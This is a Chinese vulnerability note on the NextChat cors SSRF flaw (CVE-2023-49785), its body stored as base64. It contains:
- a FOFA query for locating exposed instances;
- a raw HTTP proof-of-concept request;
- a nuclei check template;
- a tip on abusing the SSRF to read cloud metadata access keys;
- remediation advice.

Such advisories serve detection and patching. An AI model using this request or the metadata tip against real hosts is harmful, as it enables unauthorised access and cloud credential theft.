NextChat cors SSRF漏洞 （CVE-2023-49785）

IyBOZXh0Q2hhdCBjb3JzIFNTUkbmvI/mtJ4g77yIQ1ZFLTIwMjMtNDk3ODXvvIkKCiMjIOa8j+a0nuaPj+i/sAoKTmV4dENoYXQg5piv5LiA5Liq6Z2i5ZCR55So5oi355qER1BU57G75bqU55So56iL5bqP77yM55So5oi35Y+v5Lul6YCa6L+H6L+Z5Liq56iL5bqP5LiOR1BU6L+b6KGM5Lqk5LqS44CCMjAyNOW5tDPmnIjvvIzkupLogZTnvZHkuIrmiqvpnLJDVkUtMjAyMy00OTc4NSBOZXh0Q2hhdCBjb3JzIFNTUkYg5ryP5rSe77yM5pS75Ye76ICF5Y+v5Zyo5peg6ZyA55m76ZmG55qE5oOF5Ya15LiL5p6E6YCg5oG25oSP6K+35rGC6YCg5oiQU1NSRu+8jOmAoOaIkOaVj+aEn+S/oeaBr+azhOa8j+etieOAggoKdGlwczrnu5PlkIjkupHkuLvmnLrnmoTnibnngrnvvIzlj6/pgJrov4dzc3Jm6K6/6Zeu5LqR5Li75py65YWD5pWw5o2u77yM5L6L5aaC6K+75Y+WQUsvU0vvvIzlrp7njrDkupHkuLvmnLrmjqXnrqHjgIIKCiMjIOS6p+WTgeeVjOmdogoKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi80OGUyZDczYmZlYjM0ZTU3ZjY4MGM2YzhkMjlhYjRhYl8yNTQwNS5wbmcpCgojIyBmb2Zh6K+t5rOVCgpgdGl0bGU9Ik5leHRDaGF0ImAKCiMjIFBPQwoKYGBgCkdFVCAvYXBpL2NvcnMvaHR0cHMvd3d3LmJhaWR1LmNvbSBIVFRQLzEuMQogSG9zdDogCiBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgCihLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQxLjAuMjIyNy4wIFNhZmFyaS81MzcuMzYKIENvbm5lY3Rpb246IGNsb3NlCiBBY2NlcHQ6ICovKgogQWNjZXB0LUxhbmd1YWdlOiBlbgogQWNjZXB0LUVuY29kaW5nOiBnemlwCmBgYAoKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi84YjI5YTVmZjlkMzc5MDI4NjRhMmI2OTNkMWIyNTUwYl85OTIxNy5wbmcpCgojIyBudWNsZWnpqozor4EKCmBgYAogaWQ6IENWRS0yMDIzLTQ5Nzg1CiAKaW5mbzoKICBuYW1lOiBOZXh0Q2hhdCBjb3JzIFNTUkbmvI/mtJ4g77yIQ1ZFLTIwMjMtNDk3ODXvvIkKICBhdXRob3I6IG5vYm9keQogIHNldmVyaXR5OiBoaWdoCiAgZGVzY3JpcHRpb246IHwKICAgIE5leHRDaGF0IOaYr+S4gOS4qumdouWQkeeUqOaIt+eahEdQVOexu+W6lOeUqOeoi+W6j++8jOeUqOaIt+WPr+S7pemAmui/h+i/meS4queoi+W6j+S4jkdQVOi/m+ihjOS6pOS6kuOAggoyMDI05bm0M+aciO+8jOS6kuiBlOe9keS4iuaKq+mcskNWRS0yMDIzLTQ5Nzg1IE5leHRDaGF0IGNvcnMgU1NSRiDmvI/mtJ7vvIzmlLvlh7vogIXlj6/lnKgK5peg6ZyA55m76ZmG55qE5oOF5Ya15LiL5p6E6YCg5oG25oSP6K+35rGC6YCg5oiQU1NSRu+8jOmAoOaIkOaVj+aEn+S/oeaBr+azhOa8j+etieOAggogIGltcGFjdDogfAogICAg5pS75Ye76ICF5Y+v5Zyo5peg6ZyA55m76ZmG55qE5oOF5Ya15LiL5p6E6YCg5oG25oSP6K+35rGC6YCg5oiQU1NSRu+8jOmAoOaIkOaVj+aEn+S/oeaBr+azhOa8j+etiS4KICByZW1lZGlhdGlvbjogfAogICAg5Y2H57qn54mI5pys77yM5omT6KGl5LiBCiAgbWV0YWRhdGE6CiAgICB2ZXJpZmllZDogdHJ1ZQogICAgbWF4LXJlcXVlc3Q6IDMKICAgIGZvZmEtcXVlcnk6IHRpdGxlPSJOZXh0Q2hhdCIKICB0YWdzOiBhaSxncHQsbmV4dGNoYXQsc3NyZgogCuS/ruWkjeW7uuiuriAK5bu66K6u5Y2H57qn5Yiw5pyA5paw54mI5pys5oiW5omT6KGl5LiBCumdnuW/heimgeemgeatouWFrOe9keiuv+mXruaIlueZveWQjeWNleiuv+mXrgpyZXF1ZXN0czoKICAtIHJhdzoKICAgICAgLSB8CiAgICAgICAgR0VUIC9hcGkvY29ycy9odHRwcy93d3cuYmFpZHUuY29tIEhUVFAvMS4xCiAgICAgICAgSG9zdDoge3tIb3N0bmFtZX19CiAgICAgICAgVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NCkgCkFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80MS4wLjIyMjcuMCAKU2FmYXJpLzUzNy4zNgogICAgICAgIENvbm5lY3Rpb246IGNsb3NlCiAgICAgICAgQWNjZXB0OiAqLyoKICAgICAgICBBY2NlcHQtTGFuZ3VhZ2U6IGVuCiAgICAgICAgQWNjZXB0LUVuY29kaW5nOiBnemlwCiAgICAgICAgCiAgICBtYXRjaGVyczoKICAgICAgLSB0eXBlOiBkc2wKICAgICAgICBkc2w6CiAgICAgICAgICAtIHN0YXR1c19jb2RlID09IDIwMCAmYW1wOyZhbXA7IGNvbnRhaW5zX2FsbChib2R5LCLkuqxJQ1Dor4EwMzAxNzMK5Y+3IikKYGBgCgoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxMjEyL2NlYzFkNTk4MWFkM2FlYzI3NDAwNWM4ZjEyNjQ3NTBhXzYyNDQxLnBuZykKCiMjIOS/ruWkjeW7uuiurgoKLSDlu7rorq7ljYfnuqfliLDmnIDmlrDniYjmnKzmiJbmiZPooaXkuIEKLSDpnZ7lv4XopoHnpoHmraLlhaznvZHorr/pl67miJbnmb3lkI3ljZXorr/pl64=